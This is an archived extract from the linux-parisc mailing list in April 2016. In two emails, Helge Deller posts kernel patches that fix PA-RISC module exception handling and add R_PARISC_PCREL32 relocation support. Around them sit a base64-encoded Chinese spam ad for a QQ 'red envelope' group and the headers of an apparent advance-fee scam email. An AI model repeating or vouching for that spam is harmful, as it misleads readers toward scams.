X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Apr 2016 01:22:52 +0000 (UTC)
To: <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 08 03:22:48 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aoL8I-0001f9-Ee
	for glpp-linux-parisc@plane.gmane.org; Fri, 08 Apr 2016 03:22:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753845AbcDHBWo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 7 Apr 2016 21:22:44 -0400
Original-Received: from [118.244.254.68] ([118.244.254.68]:50560 "EHLO mail.jbfx.com.cn"
	rhost-flags-FAIL-FAIL-OK-FAIL) by vger.kernel.org with ESMTP
	id S1753852AbcDHBWo (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 7 Apr 2016 21:22:44 -0400
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail.jbfx.com.cn (Postfix - by extmail.org) with ESMTP id 3D7FF1FD639C
	for <linux-parisc@vger.kernel.org>; Fri,  8 Apr 2016 05:09:40 +0800 (CST)
X-Virus-Scanned: amavisd-new at jbfx.com.cn
X-Spam-Score: 3.659
X-Spam-Level: ***
X-Spam-Status: No, score=3.659 tagged_above=2 required=5 tests=[AWL=1.530,
	DATE_IN_FUTURE_03_06=2.007, X_PRIORITY_HIGH=0.122]
Original-Received: from mail.jbfx.com.cn ([127.0.0.1])
	by localhost (mail.jbfx.com.cn [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id iw6wDnF+M1m8 for <linux-parisc@vger.kernel.org>;
	Fri,  8 Apr 2016 05:09:40 +0800 (CST)
Original-Received: from XRx.qxcizz (unknown [130.1.1.200])
	by mail.jbfx.com.cn (Postfix - by extmail.org) with ESMTP id D3C021FD63D2
	for <linux-parisc@vger.kernel.org>; Fri,  8 Apr 2016 05:09:39 +0800 (CST)
X-Priority: 1
X-mailer: Seycsbqr 9
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26596
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26596>

5L2g55qE6ICB5pyL5Y+L6YKA5L2g5p2lUee+pDozNDMyNTc3NTkg5oqi57qi5YyFIOaKouenkuad
gCDmiqJ2aXAg5LuA5LmI6YO96KaB5oqi44CC5aSq5Yi65r+A5LqG44CC5LiN6Z2g5omL5rCU5Y+q
5ou85omL6YCfDQo=


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Aw: Re: kernel 4.6-rc unbootable due to module changes
Date: Fri, 8 Apr 2016 14:06:09 +0200
Lines: 130
Approved: news@gmane.org
Message-ID: <trinity-1ff986de-0345-446b-baa3-dce5d7ebc2cc-1460117169764@3capp-gmx-bs27>
References: <alpine.LRH.2.02.1604051326470.14606@file01.intranet.prod.int.rdu2.redhat.com>
 <alpine.LRH.2.02.1604051332280.25453@file01.intranet.prod.int.rdu2.redhat.com>
 <570409DA.1060508@gmx.de>
 <alpine.LRH.2.02.1604051612310.32758@file01.intranet.prod.int.rdu2.redhat.com>
 <alpine.LRH.2.02.1604061014490.30369@file01.intranet.prod.int.rdu2.redhat.com>
 <57058332.8050204@gmx.de>, <5706E3A0.2020902@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary=kenitramv-d1d0f822-e4f0-4521-8e08-55fb779d54f4
X-Trace: ger.gmane.org 1460117186 7781 80.91.229.3 (8 Apr 2016 12:06:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Apr 2016 12:06:26 +0000 (UTC)
Cc: "Mikulas Patocka" <mpatocka@redhat.com>,
	"John David Anglin" <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org
To: "Helge Deller" <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 08 14:06:22 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aoVB6-0006dR-VD
	for glpp-linux-parisc@plane.gmane.org; Fri, 08 Apr 2016 14:06:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754281AbcDHMGU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Apr 2016 08:06:20 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:58306 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754189AbcDHMGT (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Apr 2016 08:06:19 -0400
Original-Received: from [155.56.68.219] by 3capp-gmx-bs27.server.lan (via HTTP); Fri,
 8 Apr 2016 14:06:09 +0200
Importance: normal
Sensitivity: Normal
In-Reply-To: <5706E3A0.2020902@gmx.de>
X-UI-Message-Type: mail
X-Priority: 3
X-Provags-ID: V03:K0:XqT4Fr2f0QBVMVCxr19qwWiKgoGuEMc13zvoPWWEE0+
 bJ8AsDYBPZCjowi2Dgo5JVf13NQmEi1y6dd0x9B2y5LuXB9QEO
 nIe7Tus7cGazxzzIbUbU+MChIg4hG2ryPwLUQMHOMJjcgLtLaI
 jhPrcD88GhQ+pCJw8QvTpZPSa1VtOwQLXkxVnWEUr4bnSfba4b
 WVLZA+DsvOOSSs5RqqCya1KAxzmDWyUScc2yU+mNARYiuF/CYD
 Bqa7ilCudNi1QX0tRKxJfmGhKWSK2w7OqGu0K8JMraT5ny3DMi rrkuZk=
X-UI-Out-Filterresults: notjunk:1;V01:K0:lZu5kUZFmxM=:Y0XmZ0s9j4nYxr/uHv9C6h
 nDbX2IfzY2yyJLrwBDWbcY00TFXRSeqBZGvpIcPjhckHRUKR9opaI49uNw7pmRP8zV2jkvL4B
 nyIKUdvgcPPjZlWCSFSkTUaPvCgOqm9NRiXMwIjmdRxdFvdg7A/5egtxIXWw+v9H78Tn9uJ9P
 oeJNucvGLFmoE1xJexekxDhjCKP6Xe++joayXrjDWxBEih5dBdMLGxHcLljJ8utT0ykRZYRJb
 /cgm0k6vOoq+w9zNZ3cgxwbA2Ti80EQ+fBpA2LYP24dJNDo0UCHFs6hVT+UizSR8mWGaGbq/I
 dyHpoNEhe42hlZV9GcsKE0kLM7tC7ffaenuL2pRLNSowO7MyRPBDl1y+p5GqcubXrH+QrUJ3p
 zK/56OCP6oJJpkq0FZGAnOCGh/dznRXTedDcGd4hhNB+Wa4nRnKdK4ZnUuVFrL4x9dJWr42m3
 N2yr9zX06Q==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26597
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26597>

--kenitramv-d1d0f822-e4f0-4521-8e08-55fb779d54f4
Content-Type: text/plain; charset=UTF-8

> >> So, it seems that handling exceptions from modules never worked on 
> >> pa-risc, it was just masked by the fact that exceptions from modules don't 
> >> happen during normal use.
> 
> Sadly you seem to be right :-(
> I did more testing with the test_user_copy module (with vanilla kernel 4.5 and without the relative extable support).

The attached patch fixes the exception handling for modules for me.
This is realized by saving the %r27 register in the fault handler and restoring it in the exception path.
With this patch the "test_user_copy" kernel module succeeds when loaded.
Mikulas, can you try it with your testcases ?

Helge
--kenitramv-d1d0f822-e4f0-4521-8e08-55fb779d54f4
Content-Type: text/x-patch
Content-Disposition: attachment; filename=fixup2.patch

diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
index 0abdd4c..1b05163 100644
--- a/arch/parisc/include/asm/uaccess.h
+++ b/arch/parisc/include/asm/uaccess.h
@@ -78,6 +78,7 @@ struct exception_data {
 	unsigned long fault_ip;
 	unsigned long fault_space;
 	unsigned long fault_addr;
+	unsigned long fault_gp;
 };
 
 #define __get_user(x, ptr)                               \
diff --git a/arch/parisc/kernel/asm-offsets.c b/arch/parisc/kernel/asm-offsets.c
index d2f6257..137c91e 100644
--- a/arch/parisc/kernel/asm-offsets.c
+++ b/arch/parisc/kernel/asm-offsets.c
@@ -301,6 +301,7 @@ int main(void)
 	DEFINE(EXCDATA_IP, offsetof(struct exception_data, fault_ip));
 	DEFINE(EXCDATA_SPACE, offsetof(struct exception_data, fault_space));
 	DEFINE(EXCDATA_ADDR, offsetof(struct exception_data, fault_addr));
+	DEFINE(EXCDATA_GP, offsetof(struct exception_data, fault_gp));
 	BLANK();
 	DEFINE(ASM_PDC_RESULT_SIZE, NUM_PDC_RESULT * sizeof(unsigned long));
 	BLANK();
diff --git a/arch/parisc/kernel/parisc_ksyms.c b/arch/parisc/kernel/parisc_ksyms.c
index 568b2c6..3cad8aa 100644
--- a/arch/parisc/kernel/parisc_ksyms.c
+++ b/arch/parisc/kernel/parisc_ksyms.c
@@ -47,11 +47,11 @@ EXPORT_SYMBOL(__cmpxchg_u64);
 EXPORT_SYMBOL(lclear_user);
 EXPORT_SYMBOL(lstrnlen_user);
 
-/* Global fixups */
-extern void fixup_get_user_skip_1(void);
-extern void fixup_get_user_skip_2(void);
-extern void fixup_put_user_skip_1(void);
-extern void fixup_put_user_skip_2(void);
+/* Global fixups - defined as int to avoid creation of function pointers */
+extern int fixup_get_user_skip_1;
+extern int fixup_get_user_skip_2;
+extern int fixup_put_user_skip_1;
+extern int fixup_put_user_skip_2;
 EXPORT_SYMBOL(fixup_get_user_skip_1);
 EXPORT_SYMBOL(fixup_get_user_skip_2);
 EXPORT_SYMBOL(fixup_put_user_skip_1);
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 553b098..77e2262 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -798,6 +798,9 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
 
 	    if (fault_space == 0 && !faulthandler_disabled())
 	    {
+		/* Clean up and return if in exception table. */
+		if (fixup_exception(regs))
+			return;
 		pdc_chassis_send_status(PDC_CHASSIS_DIRECT_PANIC);
 		parisc_terminate("Kernel Fault", regs, code, fault_address);
 	    }
diff --git a/arch/parisc/lib/fixup.S b/arch/parisc/lib/fixup.S
index 536ef66..1052b74 100644
--- a/arch/parisc/lib/fixup.S
+++ b/arch/parisc/lib/fixup.S
@@ -26,6 +26,7 @@
 
 #ifdef CONFIG_SMP
 	.macro  get_fault_ip t1 t2
+	loadgp
 	addil LT%__per_cpu_offset,%r27
 	LDREG RT%__per_cpu_offset(%r1),\t1
 	/* t2 = smp_processor_id() */
@@ -40,14 +41,19 @@
 	LDREG RT%exception_data(%r1),\t1
 	/* t1 = this_cpu_ptr(&exception_data) */
 	add,l \t1,\t2,\t1
+	/* %r27 = t1->fault_gp - restore gp */
+	LDREG EXCDATA_GP(\t1), %r27
 	/* t1 = t1->fault_ip */
 	LDREG EXCDATA_IP(\t1), \t1
 	.endm
 #else
 	.macro  get_fault_ip t1 t2
+	loadgp
 	/* t1 = this_cpu_ptr(&exception_data) */
 	addil LT%exception_data,%r27
 	LDREG RT%exception_data(%r1),\t2
+	/* %r27 = t2->fault_gp - restore gp */
+	LDREG EXCDATA_GP(\t2), %r27
 	/* t1 = t2->fault_ip */
 	LDREG EXCDATA_IP(\t2), \t1
 	.endm
diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index a762864..245784e 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -153,6 +153,7 @@ int fixup_exception(struct pt_regs *regs)
 		d->fault_ip = regs->iaoq[0];
 		d->fault_space = regs->isr;
 		d->fault_addr = regs->ior;
+		d->fault_gp = regs->gr[27];
 
 		regs->iaoq[0] = ((fix->fixup) & ~3);
 		/*

--kenitramv-d1d0f822-e4f0-4521-8e08-55fb779d54f4--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Aw: Re: kernel 4.6-rc unbootable due to module changes
Date: Fri, 8 Apr 2016 16:59:01 +0200
Lines: 150
Approved: news@gmane.org
Message-ID: <trinity-2288a664-7ecc-47ba-9dbb-630a8f9060c7-1460127541349@3capp-gmx-bs27>
References: <alpine.LRH.2.02.1604051326470.14606@file01.intranet.prod.int.rdu2.redhat.com>
 <alpine.LRH.2.02.1604051332280.25453@file01.intranet.prod.int.rdu2.redhat.com>
 <570409DA.1060508@gmx.de>
 <alpine.LRH.2.02.1604051612310.32758@file01.intranet.prod.int.rdu2.redhat.com>
 <alpine.LRH.2.02.1604061014490.30369@file01.intranet.prod.int.rdu2.redhat.com>
 <57058332.8050204@gmx.de>, <5706E3A0.2020902@gmx.de>,
 <trinity-1ff986de-0345-446b-baa3-dce5d7ebc2cc-1460117169764@3capp-gmx-bs27>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary=kenitramv-9eac9b62-d9f0-4733-ab7f-bd1333d06bb3
X-Trace: ger.gmane.org 1460127588 20465 80.91.229.3 (8 Apr 2016 14:59:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Apr 2016 14:59:48 +0000 (UTC)
Cc: "Mikulas Patocka" <mpatocka@redhat.com>,
	"John David Anglin" <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org
To: "Helge Deller" <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 08 16:59:47 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aoXsw-000467-G7
	for glpp-linux-parisc@plane.gmane.org; Fri, 08 Apr 2016 16:59:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758577AbcDHO71 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Apr 2016 10:59:27 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:55381 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1758327AbcDHO7Q (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Apr 2016 10:59:16 -0400
Original-Received: from [155.56.68.219] by 3capp-gmx-bs27.server.lan (via HTTP); Fri,
 8 Apr 2016 16:59:01 +0200
Importance: normal
Sensitivity: Normal
In-Reply-To: <trinity-1ff986de-0345-446b-baa3-dce5d7ebc2cc-1460117169764@3capp-gmx-bs27>
X-UI-Message-Type: mail
X-Priority: 3
X-Provags-ID: V03:K0:EAlo41A1XV225MzfYDF3jOBboRcOar4gpOS4gkmeiJ/
 lEMnP9RInylDqGyt7ZCTBbe/3swH0gxfT9Ay+tjHjlojNyLqcC
 JNP7OfCeqYLjIM00EZtglOW0dglPeGUD58LJ+V4ZzjALL4DLBw
 MMCjo7o9Z/ucwCRDth2B/5eiUUQgwn76AgYfLHP0K5cwReJAiG
 ijV7CzifT/uYoYa9l90O7U9mKkdwVEtKSTDog42/SFTVudlbvh
 K3rw6S6HEOGGLYhX1MDeyE8QT39Qi9ANQRYiSN44bYHfglE5hl eC+cuM=
X-UI-Out-Filterresults: notjunk:1;V01:K0:4M3+pY1QYAo=:KwzSt0vP8EkgKlh62AVFNU
 OqLQ++azMQ2nyQL38uIbGGgS8+WV1BHA56tkol0AC/sWEmHdrAyjrnUxGNOT6D26mOFDA3Hi0
 +LIg1vimYxIb/3XJmzZ+Ho0TY0b9C4o6oG8BuyM4OTIT6gdGTBd9Sowj0NGkQ4z5afJF5gFCu
 8dw21Ys2Ve+Ro5v8tatPE5QKQZALiU5id6VmVMr76lIcq3Mpr/+xRcKHZN7ooCQB9bIXxByrQ
 RnOVHZgNCyVHfX7duedST+HsVnALDqpL2gqmopp5y0jdGQk4Ex0Sd8rT4JomJ0p6yIowz3+2l
 f7SsvDYxLxrLKvMREEVdvArEVxM3OZ1RUPf1040CKyYbL0YHaxrix0mumdmwtKXlpuhwVmDdY
 HG1hZyoBFQ7Wn6b9z+3kMsQ15bPGgFMzvfK4bhWaiGwdLhjtxzuu0uPXkWtxzaN+xjzvkfB2J
 syW4pPVNMA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26598
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26598>

--kenitramv-9eac9b62-d9f0-4733-ab7f-bd1333d06bb3
Content-Type: text/plain; charset=UTF-8

> > >> So, it seems that handling exceptions from modules never worked on 
> > >> pa-risc, it was just masked by the fact that exceptions from modules don't 
> > >> happen during normal use.
> > 
> > Sadly you seem to be right :-(
> > I did more testing with the test_user_copy module (with vanilla kernel 4.5 and without the relative extable support).
> 
> The attached patch fixes the exception handling for modules for me.
> This is realized by saving the %r27 register in the fault handler and restoring it in the exception path.
> With this patch the "test_user_copy" kernel module succeeds when loaded.
> Mikulas, can you try it with your testcases ?

Attached patch additionally adds support for resolving R_PARISC_PCREL32 relocations,
which fixes the 32bit extable change which was introduced with kernel 4.6-rc1.

With that I think we have all module issues resolved ?

Helge
--kenitramv-9eac9b62-d9f0-4733-ab7f-bd1333d06bb3
Content-Type: text/x-patch
Content-Disposition: attachment; filename=fixup3.patch

diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
index d4dd6e5..b370d61 100644
--- a/arch/parisc/include/asm/uaccess.h
+++ b/arch/parisc/include/asm/uaccess.h
@@ -79,6 +79,7 @@ struct exception_data {
 	unsigned long fault_ip;
 	unsigned long fault_space;
 	unsigned long fault_addr;
+	unsigned long fault_gp;
 };
 
 #define __get_user(x, ptr)                               \
diff --git a/arch/parisc/kernel/asm-offsets.c b/arch/parisc/kernel/asm-offsets.c
index d2f6257..137c91e 100644
--- a/arch/parisc/kernel/asm-offsets.c
+++ b/arch/parisc/kernel/asm-offsets.c
@@ -301,6 +301,7 @@ int main(void)
 	DEFINE(EXCDATA_IP, offsetof(struct exception_data, fault_ip));
 	DEFINE(EXCDATA_SPACE, offsetof(struct exception_data, fault_space));
 	DEFINE(EXCDATA_ADDR, offsetof(struct exception_data, fault_addr));
+	DEFINE(EXCDATA_GP, offsetof(struct exception_data, fault_gp));
 	BLANK();
 	DEFINE(ASM_PDC_RESULT_SIZE, NUM_PDC_RESULT * sizeof(unsigned long));
 	BLANK();
diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index b9d75d9..c54cf39 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -788,6 +788,10 @@ int apply_relocate_add(Elf_Shdr *sechdrs,
 			CHECK_RELOC(val, 22);
 			*loc = (*loc & ~0x3ff1ffd) | reassemble_22(val);
 			break;
+		case R_PARISC_PCREL32:
+			/* 32-bit PC relative address */
+			*loc = val - dot - 8 + addend;
+			break;
 		case R_PARISC_DIR64:
 			/* 64-bit effective address */
 			*loc64 = val + addend;
diff --git a/arch/parisc/kernel/parisc_ksyms.c b/arch/parisc/kernel/parisc_ksyms.c
index 568b2c6..3cad8aa 100644
--- a/arch/parisc/kernel/parisc_ksyms.c
+++ b/arch/parisc/kernel/parisc_ksyms.c
@@ -47,11 +47,11 @@ EXPORT_SYMBOL(__cmpxchg_u64);
 EXPORT_SYMBOL(lclear_user);
 EXPORT_SYMBOL(lstrnlen_user);
 
-/* Global fixups */
-extern void fixup_get_user_skip_1(void);
-extern void fixup_get_user_skip_2(void);
-extern void fixup_put_user_skip_1(void);
-extern void fixup_put_user_skip_2(void);
+/* Global fixups - defined as int to avoid creation of function pointers */
+extern int fixup_get_user_skip_1;
+extern int fixup_get_user_skip_2;
+extern int fixup_put_user_skip_1;
+extern int fixup_put_user_skip_2;
 EXPORT_SYMBOL(fixup_get_user_skip_1);
 EXPORT_SYMBOL(fixup_get_user_skip_2);
 EXPORT_SYMBOL(fixup_put_user_skip_1);
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 16e0735..97d6b20 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -795,6 +795,9 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
 
 	    if (fault_space == 0 && !faulthandler_disabled())
 	    {
+		/* Clean up and return if in exception table. */
+		if (fixup_exception(regs))
+			return;
 		pdc_chassis_send_status(PDC_CHASSIS_DIRECT_PANIC);
 		parisc_terminate("Kernel Fault", regs, code, fault_address);
 	    }
diff --git a/arch/parisc/lib/fixup.S b/arch/parisc/lib/fixup.S
index 536ef66..1052b74 100644
--- a/arch/parisc/lib/fixup.S
+++ b/arch/parisc/lib/fixup.S
@@ -26,6 +26,7 @@
 
 #ifdef CONFIG_SMP
 	.macro  get_fault_ip t1 t2
+	loadgp
 	addil LT%__per_cpu_offset,%r27
 	LDREG RT%__per_cpu_offset(%r1),\t1
 	/* t2 = smp_processor_id() */
@@ -40,14 +41,19 @@
 	LDREG RT%exception_data(%r1),\t1
 	/* t1 = this_cpu_ptr(&exception_data) */
 	add,l \t1,\t2,\t1
+	/* %r27 = t1->fault_gp - restore gp */
+	LDREG EXCDATA_GP(\t1), %r27
 	/* t1 = t1->fault_ip */
 	LDREG EXCDATA_IP(\t1), \t1
 	.endm
 #else
 	.macro  get_fault_ip t1 t2
+	loadgp
 	/* t1 = this_cpu_ptr(&exception_data) */
 	addil LT%exception_data,%r27
 	LDREG RT%exception_data(%r1),\t2
+	/* %r27 = t2->fault_gp - restore gp */
+	LDREG EXCDATA_GP(\t2), %r27
 	/* t1 = t2->fault_ip */
 	LDREG EXCDATA_IP(\t2), \t1
 	.endm
diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index 26fac9c..7a6ecaa 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -147,6 +147,7 @@ int fixup_exception(struct pt_regs *regs)
 		d->fault_ip = regs->iaoq[0];
 		d->fault_space = regs->isr;
 		d->fault_addr = regs->ior;
+		d->fault_gp = regs->gr[27];
 
 		regs->iaoq[0] = (unsigned long)&fix->fixup + fix->fixup;
 		regs->iaoq[0] &= ~3;

--kenitramv-9eac9b62-d9f0-4733-ab7f-bd1333d06bb3--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: AKINWUMI <urr@adminnfo3.website.tk>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: FROM: MR. OLIVER SENO!!
Date: Fri, 8 Apr 2016 11:53:03 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <BLUPR17MB048338AF4F1D19702EAB86B1D0910@BLUPR17MB0483.namprd17.prod.outlook.com>
Reply-To: <officeosenol@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1460142529 15698 80.91.229.3 (8 Apr 2016 19:08:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Apr 2016 19:08:49 +0000 (UTC)
To: Recipients <urr@adminnfo3.website.tk>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 08 21:08:48 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aoblv-0007wg-NP
	for glpp-linux-parisc@plane.gmane.org; Fri, 08 Apr 2016 21:08:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753056AbcDHTIr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Apr 2016 15:08:47 -0400
Original-Received: from mail-bl2un0253.outbound.protection.outlook.com ([65.55.169.253]:30400
	"EHLO na01-bl2-obe.outbound.protection.outlook.com"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1758804AbcDHTIp convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Apr 2016 15:08:45 -0400
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=umnne14.onmicrosoft.com; s=selector1-adminnfo3-website-tk;
 h=From:To:Date:Subject:Message-ID:Content-Type:MIME-Version;
 bh=PLpW7tKRc4KQoCnkod2WgqrsPqZsaPl+JlAUozhSLUc=;
 b=qoh0Fle3yxHj3wnlpiuSlzmDQHu3GkcOGMhIiCMkaBln/bl/IASkYpwaV/nQNykZ5PQ/cv1fQG1V/d1Y5E3eWSV+IjQ/KYK/V/xMQqjcScCrjz/ozPk6AiEzXa2DlqRheJR9Lpw66rKn3RU+u24BMyJIsx2OouxAeSrpdGNFfQQ=
Authentication-Results: jp.panasonic.com; dkim=none (message not signed)
 header.d=none;jp.panasonic.com; dmarc=none action=none
 header.from=adminnfo3.website.tk;
Original-Received: from [41.71.176.61] (41.71.176.61) by
 BLUPR17MB0483.namprd17.prod.outlook.com (10.164.18.141) with Microsoft SMTP
 Server (TLS) id 15.1.453.26; Fri, 8 Apr 2016 18:53:29 +0000
Content-Description: Mail message body
X-Originating-IP: [41.71.176.61]
X-ClientProxiedBy: HE1PR05CA0092.eurprd05.prod.outlook.com (10.169.113.146) To
 BLUPR17MB0483.namprd17.prod.outlook.com (10.164.18.141)
X-MS-Office365-Filtering-Correlation-Id: 99517951-4d4c-4321-76a1-08d35fdf17d8
X-Microsoft-Exchange-Diagnostics: 1;BLUPR17MB0483;2:FKrNByhv1ri1XUzqoFzpqrPkj6fmEYI3K2e/JinjgL6WJ7WYOjP95G7kSZOHfgHMxTIx5b3BMBGW+Vl1cUrcZ6g6p0fNuq7vmrmZOdSVzcNbTgHiz26hNmMoV7Ci+FGImT8g0POejx6bUmNEdn0aCiZezhtGg5e+EiSFp1NmS6uBE/yJioU+HfQrM2c1Fg6j;3:RanIWivuB9V24PuPZWX9PPZHiy7nrlJx6F9nmBBbV0DqFJkBSVSyDlkNWzOZBif8kV5JQjcJ9oLN7sGIAd5FAmLFZtMz4rAvi6Cei+bC5uaPfk9eLupUkC1vKSOktysI
X-Microsoft-Antispam: UriScan:;BCL:0;PCL:0;RULEID:;SRVR:BLUPR17MB0483;
X-Microsoft-Exchange-Diagnostics: 1;BLUPR17MB0483;25:vbqqZQculvZ5ZcmQgEkNg7ahg6Ckp84VpkHeN5U8HZOCERLxIU6yxxhocvEVb9nlPlK+Ms6qEGlOFPRYrcGhiZ4FLNWqNwK7KEk7TzbS/iZ99eoqPfsqsQhs3ph8Ed1B2uq7vAlggmiKwSYuwVo2+/nzF8jHyEX+VCjQwdWxbWKv7jf9t/ccjnN4MBSemB2OGAAvbLJss6FEM8wC722NaQtieXNS53kHDfvh5/ja/YYZCDIZ6E1cTMo9eTdLA78JPsbXO822Ti8FZ8tuoFf4Ndwj5HM4FxqHp8cj0ShvkwHmw2v1MmLSZy3mBo0AhWduaQLxjmFuCi+sRVbT2wAxm7RFcG23acEdE5Vd08jbqGmS8SYyEr2WoPIlFY1Pq+BqxaCRzblvu0ETaAJCr3Etbs3Ul1vZ8BRahm1D/tAauC5P6Vr+4VDKqac70/3f9q8JfSJfVKEhuD0X763/2MqPfxKKSV6L0VuFU1MgqOdwWoNAsoxnVomLOPTnX0WOJMmfq4Uq/MSGavFsnin41lhTywZuAg3hn7zN0A7htUF+84ZrRMKWHUSqsSg8fYw8zIja3wbSnyjZSj7uDxjfLDV4Y16x2RZ+9uNuI5DYQVYWWqquE5kPdvFgLz7lsQxXhKKRSuHlF6c6/Xib8TOgXltT7g==
X-Microsoft-Antispam-PRVS: <BLUPR17MB04838D332AA16060EB7A76CDD0910@BLUPR17MB0483.namprd17.prod.outlook.com>
X-Exchange-Antispam-Report-Test: UriScan:;
